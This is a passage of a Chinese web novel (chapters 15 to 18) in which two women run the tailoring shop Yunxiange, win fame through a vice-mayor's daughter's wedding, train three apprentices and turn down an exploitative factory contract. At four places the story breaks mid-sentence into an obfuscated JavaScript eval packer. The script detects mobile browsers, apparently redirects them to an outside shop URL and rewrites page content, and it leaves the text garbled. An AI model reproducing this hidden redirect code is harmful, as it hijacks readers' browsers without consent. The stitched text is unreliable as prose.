那一夜，林知许睡得极不安稳。梦中，婚纱被划破，旗袍被泼脏，整个会场一片寂静，而她和苏念初二人站在中心，看着他们异样的眼光，无助无力又愤恨。 她从梦中惊醒，猛的起身一阵虚汗。 苏念初也没睡，轻拍她的背，安慰道:“没事的没事的，一切都会好的。” 林知许头埋在她的肩上，安心了不少。 —— 婚礼当天，晴空万里。 南城宾馆的宴会厅张灯结彩，大红喜字贴满墙壁。 宾客满座，笑脸盈盈。 林知许和苏念初作为特邀嘉宾，被安排在靠近舞台的一张小桌旁。 两人穿着自己设计的素色旗袍，低调而又不是典雅。 李晓芸在二楼的休息室化妆，林知许上去查看婚纱和头饰的情况。 李晓芸握住她的手:“谢谢你让我可以穿上这么好看的婚纱。” “哪里的话，你人美穿什么都美。” 衣服是专门设计给人穿的，人满意它就是一件精品，人不满意它就是废品。 这些年，她一直都是秉持着衣服为人而生的观念。 林知许继续给她整理着头纱和首饰，整理裙摆。 十点整，婚礼正式开始。《婚礼进行曲》响起，宴会厅的双扇门缓缓开启。 新娘挽着父亲，缓缓入场。 所有宾客同时转过头。 舞台的灯光照射在她的身上，她走得从容，脸上带着幸福的笑容，整个人美得随意又大方。 全场安静了几秒钟，随即爆发出阵阵惊叹。 “这婚纱真美，这人更美……” “这刺绣真是好看，好特别啊……” “我活了几十年了，还是第一次见这么绝的刺绣，我们南城何时出的这样的奇才……” 副市长听到这些赞不绝口的话，爽朗的笑声几乎未断。 婚礼仪式简洁庄重。 交换戒指，宣誓，敬茶改口。 然后新人去换敬酒服。 休息室里，林知许和苏念初协助李晓芸换上旗袍。 再次出场，又引起一阵赞叹。 敬酒时，不断有宾客询问：“晓芸，你这礼服是在哪里做的？太漂亮了。” “这是上海的设计师做的吗？” “这设计真是绝了，我结婚也要这么穿……” 李晓芸每被问到，都会指着林知许和苏念初的方向，耐心回应:“就是那两位师傅做的，你们要是想做就去云想阁，那是她们开的店。” 于是，不断有人过来递名片、询问地址、预约时间。有要给女儿准备嫁衣的，有要给自己做礼服的，有单位要定制演出服的…… 林知许和苏念初应接不暇，记录预约信息，手都写酸了。 宴会进行到一半时，陈主任过来低声说：“副市长想见见你们。” 两人跟着她来到主桌。副市长起身，主动与她们握手：“林同志，苏同志，辛苦了。礼服做的很好，我们都很满意。” 林知许谦逊回应:“谢谢夸奖，我们会继续努力的。” “听说你们是刚刚创业的年轻人，你们有这好手艺，这很难得。现在国家支持个体经济发展，你们做得很不错，我想应该得到支持。”副市长认真的说，接着转头和陈主任说， “陈主任，咱们要多鼓励年轻人创业，看看有什么好的政策能帮到人家，尽快安排起来。” “好的市长。” 副市长又转向林知许和苏念初:“两位同志，下个月省里有个招商会，需要展览一些特色的衣服之类的，你们有没有想法参加这个？” 苏念初直截了当的回应:“那是再好不过了，谢谢您的信任。” “哈哈，那就好，到时候截图的你们问陈主任。” 副市长举起酒杯，和在场一桌的人一同举杯敬了二人“我们喝一杯，祝你们云想阁生意越做越好。 两人拿起酒杯，一饮而尽，爽朗大方，副市长一脸欣慰。 回到两人的座位时，两人这才放松下来，激动的抱在了一起。 苏念初率先回应:“我天，刚刚我们这么厉害的嘛。” “其实我有点紧张啦。” 林知许的方位正对着舞台，她看着李晓芸和那件礼服。 那礼服不仅仅见证了一场盛大的婚礼，也见证了云想阁在一个全新时代的转折点。 宴会结束，宾客渐渐散去。 林知许和苏念初帮忙收拾整理，最后离开时，天色已近傍晚。 临走前，李晓芸给她们拿了伴手礼，两人的都不相同。 送给苏念初的一系列新款的口红，而送给林知许的是珍珠项链。 傍晚，空气中飘散着饭香、家家户户炊烟袅袅，伴有着这座 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908306|192414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小城特有的烟火气。 而她们走在路上，有多了一份归属感。 她们并肩走回云想阁。店铺的窗户已经换上了新玻璃，在夕阳下的照射下投射出柔和的光，和两人的心境一样坚定而又温柔。 打开店门，工作台上还散落着裁剪婚纱时剩下的边角料。林知许走过去，一片片仔细拾起，收好。 “你收这些碎布是想留着传给自己的传人吗？” “留个念想，纪念云想阁新的开始。”林知许看着碎布，不由得心生感慨。 苏念初笑着回应:“纪念我们从碎到全的开始，确实不错，我也要收藏几片。” 说完，她就自然的从林知许的手里拿走几片。 那一夜，她们睡得很安心，不再是破碎的梦，而是在梦里看到明媚而又灿烂的新生。 第二天清晨，云想阁刚开门，就有一群人过来，排起了长队。 有通过熟人介绍的，有慕名而来的。 三人忙得脚不沾地，一个上午接了十几个订单，定金都收了一两百。 下午，陈主任亲自过来问候，还送来一张表，是市里“优秀个体工商户”的申报表。 她说话温柔而又有温度:“林同志，苏同志，这个填好后，会有一些优惠的政策，你们可要好好填，有不懂的随时问我。” “谢谢陈主任!”苏念初双手接过申报表，自然的和她握手表示谢意。 陈主任微笑着:“好好干，市长说了，我们南城就是要鼓励你们这些踏实能干的人才。我们的未来在年轻人的手里，所以还请两位同志继续加油。” 两人点了点头，将陈主任送到门口。 晚上关店后，三人坐在桌子上看账本。 苏念初问道:“我们是不是得考虑换一个大点的地方？” 林知许淡淡回应:“现在还不是时候，这才刚开始。” 苏念初接着又问:“那我们三个人就算有三头六臂也忙不过来啊，是不是得招人？” “这个可以考虑一下。” 苏念初转头问小芳:“你觉得如何？” 小芳笑着回应道:“找帮手吗？我这里有一个不错的人选。” “小芳，真的吗？谁啊？”苏念初一脸好奇的看着她。 “我表妹，手很巧的，干活利落，她和我一样想学门手艺。” 苏念初当即拍板答应让小芳的表妹过来试试，林知许在一旁虽未开口但心里默许。 从那天起，南城传来了新的口碑，副市长的婚礼，两套礼服都美得出彩，美得独特。 而有不少人听闻是云想阁两位年轻女子所做，对她们更是好奇有加。 那晚，林知许坐在工作桌上，给远在苏州的沈家老太太讲述了这件皆大欢喜的事情。 告诉她，云想阁在新的时代又一次焕发出新的光彩。 写完信，她走到窗前。夜色中的南城，万家灯火依次亮起。而属于云想阁的那一盏灯，越发的明亮。 尽管前方有不同的风雨，不光有钱家的阻挠，还会有新的挑战。 但至少今夜，她们可以暂时停下奔波的脚步，回望走过的路，然后更加坚定地继续前行。 因为她深知，手中的这一针一线，缝制的不仅是衣裳，更是梦想与未来。 窗外的招牌在夜色中静静亮着，那三个字： 云想阁。 它不再只是躺在林兰芷前世遗憾的清单，而是鲜活的进行时，也绝不会有完成时。 16. 第 16 章 第二天清晨，林知许和苏念初一起商量草拟了一份简单的招工启事: 诚招学徒2~3人 要求:男女不限，细心能干，踏实肯学 工资待遇:面议 有意者请于下午两点到四点前来面试。 字是林知许写，启事是苏念初贴在店门的玻璃窗上的。 —— 上午店里生意依旧忙碌，几个婚纱订单，等着量尺寸和商量细节。 三个人一个上午，几乎脚不沾地。 下午两点，第一个面试的来了。 是个二十岁左右的姑娘，梳着两条粗辫子，手里捏着个小布包，站在门口怯生生的，小声问道:“你们这里还招工吗？” 苏念初招呼她:“我们店招人，你叫什么名字啊？” “我叫王秀兰，大家都叫我秀秀。”她小声的回应着。 走进来，两眼四处张望，好奇的打量着店里的一切。 林知许闻声从楼上下来，手里拿着面试用的记录本：“秀秀同志，你先坐吧。” 秀秀坐下后，紧张的微微低头耸身。 “我想问你几个问题，如实回答就好。” “……好”她看着一脸严肃的林知许，不禁开始抖腿和有些无处安放自己的手，说话也有些不利索。 林知许见她紧张，缓和了一下语气问道:“秀秀，你之前做过衣服吗？” “给家里补过衣服算吗？”她打开布包，从里面拿出一件补了袖口的衬衫，针脚还算整齐。 林知许拿起衬衫仔细瞧了瞧:“还可以啊，是你自己独立完成的吗？” “是的，之前是我娘在做这些，后来她眼睛不好，我就学着她的模样给家里补衣服。” 秀秀声音渐小:“我还照着画报改了一条旧裙子。” “方便给我看看吗？” 秀秀从布包里拿出一条半身裙，拿的时候犹豫了一会，满脸都是一副不大自信的模样。 林知许看着那条改过的裙子，看得出，她有些自己的想法，就是技艺这方面还得下功夫。 林知许接着问了第二个问题:“那是什么原因让你想做衣服的呢？” 秀秀抬起头，眼里有光，认真的回应道:“我以前经常会去找各种画报看，那里面的衣服都好看的很，我就很希望有一天我也能做出这么好看的衣服。” 林知许和苏念初交换了个眼神。 【林知许OS:这个可以留。】 【苏念初OS:我也感觉成，她手还挺巧的。】 林知许给出了最后一个考验:“我想看看你的水平，你能当场演示一下吗？” “应该可以吧”她小声回应着。 林知许从边角料里拿出两块布，“你把这两块布用缝纫机缝在一起，就随意发挥你的真实水平就好。” 苏念初也在一旁添话:“不要太紧张啦，我们就是想看看你的做工，放宽心去做就好啦。” 秀秀走到缝纫机前，坐下。她很有耐心，先用手缝了几针固定，然后才上机。 由于对电动缝纫机生疏，她上手比较慢，好在稳。 林知许看了成果，接着问道:“你是哪里人啊，离这里远吗？” “我家住在城东 走过来一个小时左右。” “那还是有点远，我们如果正式录用你的话，能保证八点到吗？” 秀秀语气坚定:“能!” 林知许点了点头:“好，那你先回去吧三天内，我们会捎信给你的。” 苏念初送秀秀到门口，临走时对她说:“注意安全啊。” 第二个面试的是个小伙子，二十出头，叫赵建国。退伍兵，在部队学过缝纫机维修，退伍后在农机厂做机修工。 赵建国说话干脆利落，还没等两人问，就先全盘托出。 “我的特长是修缝纫机，国产进口的我都行。” “缝纫机，我倒是会用，就是我不懂设计。” 林知许想问的问题，他都自己答了出来。 索性就给他安排一个小测试，看看他的水平。 他动作麻利，所有动作一气呵成。缝出来的线笔直，针脚细密。 苏念初问了最后一个问题:“你为什么会想着来我们店？” 赵建国实话实说:“我有个未婚妻，马上要结婚了，听说你们这里做礼服好看，我就来看看。还有一个就是，我自己整日里跟缝纫机打交道，也想着试着做这方面的工作。” 他顿了顿：“工资我不要求多高，但想学真手艺。以后，想给我对象做很多漂亮的衣服，最好是能开个小店。” 苏念初听他这理由，大方回应了一句:“小伙子，还挺有想法的，爱情赚钱两不误啊。那你先回去吧，三天内，我们会给到你消息的。” 第三个面试的是小芳的表妹，叫李春桃，十八岁，刚高中毕业没考上大学。 圆脸圆眼，是个爱笑的姑娘。 她说话很真诚:“我不会做衣服，不过我愿意努力学。” “我学东西很快的，真的。” 林知许笑着回应:“好，那我们做一个小测试。” 同样的测试，春桃上手试了几次，缝出来的确实还算可以，不像是新手，还算是有天赋。 “那其他的你会吗？” “画画算吗？我平时就喜欢到处观察，把看到的东西都画下来。” 她从包里拿出一个本子，里面画着街景、人物、花草树木，有模有样，细节刻画的也很生动。 “你的观察能力还不错，但是我们做衣服的，最关键的还是手上功夫，一件衣服要缝上几百甚至上千针，要能吃苦，要坐得住。你做得到吗？” 春桃说话有些急，情绪有些激动:“我可以的，我在家洗衣做饭，养猪喂鸡什么都干的，我能吃苦。” 一下午她们一共面试了七个人。印象最深的那个是一位中年男人，他一直说着自己是老裁缝的技艺，嘴里满是骄傲。 傍晚，送走最后一个面试者，三人累得瘫在椅子上。 “我们该怎么选好呢？林大小姐。”苏念初问道。 林知许沉思了一会，云想阁当前需要的是能里面帮忙干活的人，但又不能只顾眼前。秀秀基础不行好在勤奋，赵建国懂缝纫但不会设计，春桃有天赋但什么都没正经学过…… “要不，三个都要吧。” 苏念初楞了一下:“都要，恐怕有些不妥吧。” “那我给你个招他们的理由。赵建国，他会缝制，我们很多活他可以直接上手。秀秀踏实，可以多培养培养。春桃善于观察，可以往设计的方向发展。” “知许姐，说的有道理。” “小芳，我看她说什么你都会苟同吧。” 林知许晃着脑袋，一脸自信的模样:“难道我说的不对吗？” “而且，我要说一个很关键的东西。我们要传承，肯定不可能只有三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908307|192414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人吧。” 云想阁想做大做强，想传承，需要的人才只多不少。 “对对对，林大小姐说什么都对，那就都招吧。” 苏念初开始算账，目前手里的订单，利润在六百左右。 找三人，每个月要至少支出一百五，还在接受的范围。 “我刚刚粗略算了一下，还能接受。” 林知许笑着回应:“我就说可以吧，而且人来了以后，我们可以接更多的单，到时候赚的肯定也会多的。你说是吧，小芳和苏小姐。” 小芳疯狂点头，摆明了林知许粉丝做派。 苏念初无奈摆手，回应道:“是的是的。” “还有一件事，就是我去通知他们？”小芳问。 苏念初和林知许对了一眼，两人的左手，都搭在小芳的肩上，语重心长的是:“那就辛苦你了，通知他们后天早上八点到，进行第一次培训。” “好的，保证完成任务。”小芳踏着欢快的步子，心满意足的离开。 打工人难得的热情。 —— 新员工报到的第一天，林知许和苏念初起了个大早。 林知许负责把工作区的工作台重新分布，分成了四个工位。 而苏念初写一些注意事项和工作流程，贴在墙上，还专门摆了一个小黑板用来培训。 七点半到八点整，三个人陆陆续续的到了。赵建国换了身干净的工作服，秀秀还是当初那模样，春桃扎了个利落的马尾。 林知许先是和他们寒暄了几句:“欢迎你们来到云想阁，我们很开心你们能来。” “但是——”她的语气突然转为正经，表情也严肃了不少。 “在这里，我们公事公办，还是要有一些规矩的。第一，我们这里没有铁饭碗，干得多干得好，收入就高。第二，干不好，我们也是会请你离开的。第三，手艺是要紧的，你们学手艺，要认真才行。最后一点也是最重要的一点，我们云想阁不做砸招牌的事情，不能糊弄，不能抄袭设计。如果你们做不到的话，现在就可以走人。” 三人站成一排，无一人走。 “既然你们决定留下来了，那就好好当学徒好好干。” 赵建国擅长设备维护和基础缝制。 林知许给他安排的任务是把三台缝纫机全部检修一遍。完成后，就去帮苏念初和小芳打下手，做一些缝制工作。 林知许带着秀秀和春桃从最基础的开始学教她们如何认面料，从棉布讲到真丝，时不时让她们上手触摸质感。 下午，教量体。林知许让两人互相量尺寸，她在一旁纠正：“软尺要贴紧但不能勒紧，读数要平视……” 看似简单的动作，要做到精准并不容易。秀秀量春桃的尺寸，两次的差别还有些大。 林知许示范：“量正常呼吸时的尺寸，要问客人习惯穿紧一点还是松一点。” 晚上关店后，林知许还布置了任务，检验他们当天的学习成效。 苏念初打趣道:“林老师，这范起的真足。” “学一门手艺，不严怎么行。” “你说的对，林老师。”她从厨房里端出了一锅排骨汤，“辛苦了”。 苏念初的脑子里，突然想起一段关于前世的回忆。 林兰芷带的学徒，每一个都要经过严格的基础训练，光是缝直线就要练上几个月。 “手艺这东西，急不来，就得一步步来，这才能稳。” 17. 第 17 章 培训进行了十天。 第十一天，林知许决定让他们实操，从最简单的改衣服开始。 秀秀接的第一个活，是件需要收腰的衬衫。客人是个年轻姑娘，想在相亲时穿。秀秀量好尺寸，画好修改线，却迟迟不敢下剪。 “林师傅，我怕毁了，我不敢。” “按我说的慢慢来，不要怕。”林知许站在旁边。 “但还是要小心，剪少了还能补救，剪多了就不好办了。” 秀秀深吸一口气，下了第一剪。小心翼翼的裁剪着，最终完成的还算可以。 她的额头和手心直冒汗，林知许拿手帕给她擦了擦。 温柔的说道:“已经很棒了，现在按照我之前说的去缝合，相信你自己。” 春桃的第一个活是条需要改短的裤子。 她比较毛躁，缝着缝着就缝歪了。 林知许上前查看的时候一下就注意到这个问题，“你看看心急吃不了热豆腐吧，是不是歪了。” “对不起，我太急了。” 林知许轻声安慰道:“你先试着继续缝下去，要是还是不行，我来改。不过仅此一次，就当是累积经验了。” 最后春桃独立完成了缝针，仔细看还是会看出轻微的歪斜。 春桃拿给客人看时，眉头紧锁，客人看了眼说道:“不打紧，小姑娘继续加油。” 春桃听到这话才松了一口气，“谢谢，我下次一定完成的更好。” 赵建国是三人当中最为省心的一个，可以独立完成演出服的全部缝制，针脚均匀，效率高。 林知许还是决定让他继续练基本功，从简单的裁剪开始。 又过了一周，三位新人已开始着手店里的工作。 秀秀可以独立的完成改衣和衬衫的制作，而春桃性子明显慢了一些，学会了旗袍的基础缝制。 至于赵建国像块石头，哪里需要搬哪里。 人手增加后，确实效率高不少。原来积压的订单所剩无几，新的单子也开始有着落。 —— 但很快又出了新问题，人多起来，管理就成了一大问题。 先是秀秀和春桃闹了矛盾。 事情的起因，春桃缝制的盘扣不够牢固，秀秀检查时觉得需要回炉重造，而春桃觉得秀秀小题大做。 “这个没什么问题啊，客人不用力过猛就不会掉，你干嘛这么较真啊。” “师傅说了，做衣服就是要讲究，要对客人负责。” “我看你就是拿师傅当幌子，故意为难我。” “……” 两人争执声，声音越来越大，在楼上画设计稿的林知许和苏念初一同听到，急忙下楼。 苏念初上前询问情况，得知了缘由。 她就客套了说了几句，让两人冷静冷静。 而林知许在一旁查看盘扣，事实确实如春桃所言。 她态度客观，指出了两人的问题:“春桃，你疯的确实不够牢固，拆了重缝，我们云想阁出去的衣服，必须要保质保量。” 她把旗袍递给春桃，让她回去返工。 她低头接下了活，转身继续做自己的事情。 她接着对秀秀说道:“还有秀秀，以后发现问题指出来没错，但是还是需要好好沟通。如果，实在是没法解决，可以找我和苏师傅。” “我记住了。” 那天，两人午饭的时候，互相给对方夹了自己在家带的菜。 她们都没说出“对不起”，好在菜给了面子。 一波未平一波又起。 赵建国手艺方面过关，但性子直。 客人找他提改衣服的意见，他觉得客人不懂，说话态度也不太好。 苏念初几番和客人说好话，这才保住了客人。 林知许知晓此事后，把赵建国叫到一边:“客人懂不懂工艺不重要，重要的是我们要满足客人的要求。” 他似乎完全没意识到自己的问题所在，不解的问道:“无理的要求也要满足吗？” “不管怎么样，我们的态度不能差。我们不光是做衣服的，还是做服务的，我们要给客人带来好的体验。” “衣服是做给人穿的，人喜欢什么样就做什么样，不能本末倒置了。” 她拍了拍他的肩，“今晚你回去好好想想，如果还是想不清楚，你可能不适合留在我们店里。” 赵建国反思了一晚上，第二天主动去找那位客人道歉，并提出了更合理的修改方案。客人很满意，又加订了两件。 管理上的问题暂缓，虽然难但看着三人一天天进步，她又觉得值得。 —— 半个月后的一个下午，店里来了位特殊的客人。 副市长的千金，穿着一件西式连衣裙，手上提着一个精致的纸盒。 她一见到林知许和苏念初，就笑着打招呼:“林师傅，苏师傅，好久不见啊。” “李小姐，好久不见啊。” “李小姐，别来无恙。” “对了，这是我两位大学同学。” 两位年轻姑娘从她身后走到她的身旁，都是时髦的卷发和裙子，一看就家境不错。 “她们参加完我的婚礼后，一直也想要和我一样的礼服，这不我就带着来了。” 两人中的一个大方官方的打招呼:“林师傅，苏师傅好，我们来意，晓芸都说过了，麻烦你们了。” 苏念初笑着回应:“多谢你们的抬爱，你们有什么具体的想法可以跟我们聊聊。” 她目光落在李晓芸身上，添了一句:“那李小姐，你可以先坐着或者在店里随便看看，我们店小，可能有些招待不周。” 林知许和苏念初各负责一人，从量尺寸到聊具体的各种设计方面的问题。 送走客人，李晓芸没急着走，而是把那个纸盒放在工作台上：“林师傅，这个给你。” 林知许打开，里面是一本相册。 翻开，里面全是她婚礼的照片。 “摄影师拍的不错，我就多洗了一份，想留着给你们做纪念。” “谢谢，我们也觉得很有纪念意义，毕竟这是我们第一次做礼服。” 她又从包里拿出一份报纸:“这是今天的《南城日报》，你们看看，希望你们会喜欢。” 林知许翻看着报纸，在第三版看到了一篇题目为《云想阁的传承与新生》的文章，占了大半个版面。 文章详细介绍了云想阁的创业故事、设计理念，还特别提到了副市长千金婚礼上的礼服。配图就是李晓芸穿着婚纱的照片，还有一张云想阁店面的照片。 林知许看到题目就急忙叫一旁忙碌的苏念初停下和她一起看。 李晓芸wink了一下:“我就知道你们会喜欢，记者是我的表哥，我让他写的，不错吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908308|192414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这可是官方报道，相当于是云想阁又一次得到了官方的认可，这含金量不言而喻。 林知许一时语塞:“谢谢，除了谢谢我也不知道该说什么……” 苏念初语气激动:“真是太谢谢你了” 上前抱住了李晓芸，好一会儿才松手。 “我快被勒没了，苏师傅你力气好大哈哈。” “你们不用这么谢我的，你们有实力，配得上这份报道。你们做的事情很有意义，我会继续支持你们的。” 报道的效果很快显现，来店里的人比以往还多，不光是有客人还有很多想学艺的。 报道的第二天，市里的电视台，还专门过来说要采访。 云想阁一下子，就成了打卡地。 当天晚上，林知许叫上了大家开了第一次正式会议。 “今天呢，我有一些心里话想跟大家讲讲，希望大家不要嫌我啰嗦。” “林师傅说什么，我都愿意听” “哪里的话” “我会好好听的” “云想阁一开始的时候，是我和苏念初两人，不知不觉一年过去了，从两人变成了六人。” “我们能扩大，能走得远，我想靠的是手艺，是坚守，是对衣服的负责。” 她目光看向三位新来的:“你们刚来的时候，我对你们很严格，或许你们会觉得过分。今天我想说说原因，因为云想阁不仅仅是一个衣服店，它承载着一个品牌和一种传承。” 她在黑板上写下两个字：云想。 “这两个字，相信大家都不陌生，我想讲讲它的前世。云想阁最开始是由林兰芷师傅创立的，她留下了很多宝贵的技艺和精神。我重开云想阁，就是想让技艺在新的时代继续发光发热。” “所以我们做的每一件衣服，是对自己的交代，也是对前人的交代，更是对客人的交代。” 大家听得认真，都会心点头。 “因为现在的订单量越来越多，也越杂，所以我和苏念初两人想了一个新的工作安排。下面，让我们请苏念初为我们介绍一下。” 苏念初声音不高，吐字清晰:“那我来为大家介绍一下吧。从明天开始，我就负责客户接待和订单管理，林师傅就负责设计和核心的工艺，小芳负责协助和进度管控。” “至于你们三人，要开始系统的学习更多内容。另外我还有一个新的考核方式，接下来的三个月，我要从你们的手艺和态度这两个方面进行评分，决定你们是否有资格成为核心成员。” 春桃一脸疑惑的问:“什么是核心成员？” “就是像小芳，我和林师傅一样，可以独当一面。” “云想阁是大家的云想阁，我们一起加油。” 这话听得人心暖暖。 散会后，新人们留下来练习。 林知许上楼继续画设计图，苏念初跟上来，轻声说：“今天还挺像回事啊，林大小姐。” “苏小姐，你也不赖啊。” 两人同时望向楼下。灯光下，三个年轻人埋头工作，认真而专注。 云想阁，又多了新的人在坚守。 它继续生长，更加有生命力。 “看来，我们的云想阁，真的变好了。” “是啊，我们终于又一次重生。” 窗外，南城的夜晚宁静，云想阁的灯也还亮着。 未来，会一直亮着。 18. 第 18 章 自那篇报道后，南城人都开始注意到云想阁这个小小的店铺。 线下接单无法满足所有人的需求，林知许和苏念初计划着装了一部电话。 好景不长，热闹之下，又是一波暗涌。 报道登出的第四天上午，店里来了位穿中山装，拎公文包的中年男人。 一上来就找林知许，和她握手。 “你好，我叫孙国栋，南城市第二服装厂生产科科长。” “你好，请问你有什么事情？” 孙国栋环顾四周，目光停留在那件“清韵”旗袍上，“这件衣服设计的不错。” “谢谢。” “我是看了报道知道的，你们做的副市长千金的礼服，还真是不简单啊。” 他这话，说着他自己都觉得别扭。 林知许见他半天不切入正题，直截了当的问:“请问孙科长来，是有什么要紧的事情吗？” 孙国栋又绕了好大一圈:“听说你们最近接了不少的单子，纺织厂的演出服，百货公司的工作服，还有一些定制婚纱，你们店里就这么几个人，会不会忙不过来啊？” 林知许确信他不怀好意，说话也就少了分客气:“能应付。” “但你们毕竟是小店，人手肯定不够。说来说去，我的来意你应该多少知道了。我今天来，是诚心和你们谈合作的。我们厂子是大厂子，人手多，设备也齐全，你们要是和我们合作，生产方面就不用愁了，如何？” 诚心还是存心，他心知肚明。 他打开公文包，拿出一份文件：“我这里有一份协议，云想阁设计优先给我们厂子生产。我们出设计费，每件衣服我们会给到百分之五的提成。” 林知许接过文件，快速翻看了一遍。 协议期五年，期间设计版权归二厂，不能与其他家合作。 最后那一条，除了出设计，其他的一概无权过问。 简直就是把人当傻子。 林知许把文件递还给了他，冷冷的回应:“孙科长，很抱歉，我们恐怕没办法合作。” 孙国栋一副不识趣的模样:“是嫌弃钱少了还是？” 林知许直视他，目光炯炯，语气坚定:“这个与钱无关。我们云想阁店小，我们买的不只是一件衣裳，还有温度。我们想做的，一直是个性化服务，根据客人的个人需求去做一件令客人满意的衣裳。” 孙国栋眉头一皱，一脸严肃，摆手:“年轻人啊，有理想是好的，可是还是要现实一点吧。作为过来人，我还是想提醒你们，你们现在店是做起来了，但要长久的发展还是要和我们这种大厂长合作才行。” “孙科长有心了，不过我们有我们的坚守，还望理解。” 孙国栋收起文件，正准备往外走，小声提醒着:“你们现在是有骨气，以后可就说不准了。为五斗米折腰，不难看。别为了骨气，连靠着吃饭的碗都丢了。” 送走孙国栋，林知许立马就回了店，坐在二楼的工位上盯着窗户，一动不动。 苏念初经过时，正巧瞥见。 “怎么啦，我的林大小姐，又是谁惹你不开心了。” “唉，今天有个服装厂的科长来找我。”林知许耷拉个脑袋。 “又来人，一个钱家还不够啊，下次别让我见到，不然……” “不然怎么样？”她抬眼瞧她。 扫地出门。 —— 上午那人刚来，下午就出了问题。 两位老客人一前一后地来，都是上周刚取走的衣服，都说有问题。 第一位是位老师，他拿着衣服找林知许:“林师傅，你看，这个扣子，我才两天，就松了，我都没敢用力。” 林知许接过检查，确实缝线不够牢固。 “实在抱歉，这是我们店的疏忽，我给你重新加固，另外下次做衣服，我们有专门的优惠给到你，成吗？”林知许语气诚恳。 “算了算了，你们这次好好补，我就不继续追究了。” 他摆摆手，有些无奈。 第二位情况更为棘手，是位干部，定做的中山装。他的那件中山装，剑仙不对称，左肩比右肩高了半公分。 “林师傅，我是看在你们之前确实做得不错的份上，才选择你们店的，没想到这次这个水平不如以往。”他叹息道 林知许仔细查看，这件衣服需要返工，较为麻烦。 “谢谢您之前的信任，我们一定不会再次辜负您的信任。这件衣服，我们一定给你重做，保证不会再出这种岔子。另外，我们再送一件定制装，您看如何？” “我下周要出差，这件衣服可不能再出岔子，事已至此，你们好好干，其他的，多说无意义。” 傍晚的时候，林知许把大家叫到一块开了一个紧急会议。 秀秀和春桃自知犯了错，在一旁低头不语。 林知许气息平稳，说话带有严厉:“今天这件事，相信大家都看到了。我说过很多次，我们的每一针每一线都要对客人负责。” “像扣子缝不稳，肩线不对称，这样的问题，说大不大，说小不小，希望以后一定要再三注意。” 春桃这时小声回了一句:“对不起。” 秀秀眼圈发红，眼里泛着泪花。 林知许语气缓和了些:“现在我们的单子越来越多，我知道大家都很辛苦。但是我们云想阁靠的不是快，而是好。我们不能砸了自己的名声，每一件衣服都应该保质保量。” 她看向大家:“从今天起，所有的衣服都要经过三次检查。首先是自己检查，接着互相检查，最后交给我和苏师傅检查。有问题的一定不能交给客人，我们要及时发现问题，及时解决，不可再求快而不保证品质。” 春桃小声问道:“那要是来不及了，怎么办？” “以后，我们接单也会有更好的安排，单子量会适当减少。除此之外，突发情况，我们宁可延期，也不能糊弄。”林知许语气坚定。 那天晚上，秀秀和春桃主动留下来返工。秀秀把那件中山装小心拆开，重新裁剪肩部。春桃把所有近期做的衣服的扣子都检查加固了一遍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908309|192414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵建国默默帮她们整理工具，调试缝纫机。等她们忙完，已经夜里十一点。 “林师傅，对不起，我以后一定不会这样了。”秀秀走之前，半天才拿着返工的衣服过去跟林知许表达歉意。 春桃也跟着反省:“是我太急了，以后我一定好好检查。” 赵建国轻声安慰了几句:“你们好好干就好，毕竟林师傅真的不错。” 林知许点点头，语气平和:“你们知道问题所在就好，我们再接再厉。” 三人走后，林知许关了门，上了二楼，在工作桌上，点着灯，继续画着设计图。 她的面前摊开一本笔记，那是林兰芷写的，里面记着一段话: 【今日一名学徒，缝歪扣子，欲蒙混过关。我令其拆开，重缝二十遍。旁人不解，我知其缘由。学艺之路，唯有精尽无捷径。要做到无愧于自己，无愧于客人，无愧于云想阁这块招牌。】 手艺的传承，不只要传技法，更要传精神。一针一线，当无愧。 她想起白天孙国栋的话，理想和现实确实存在差距。 云想阁想的下去，就得靠着扎扎实实的手艺和口碑。 每一件衣服，每一个细节，都要对其负责。 —— 两天后，又出了新岔子。 谣言四起。 早上刚开门不久，隔壁的老板娘跑过来小声谈论道:“林师傅，我听到一件事，也不知当讲不当讲。” “你直接讲就好了，我们还客气什么。”林知许故作轻松。 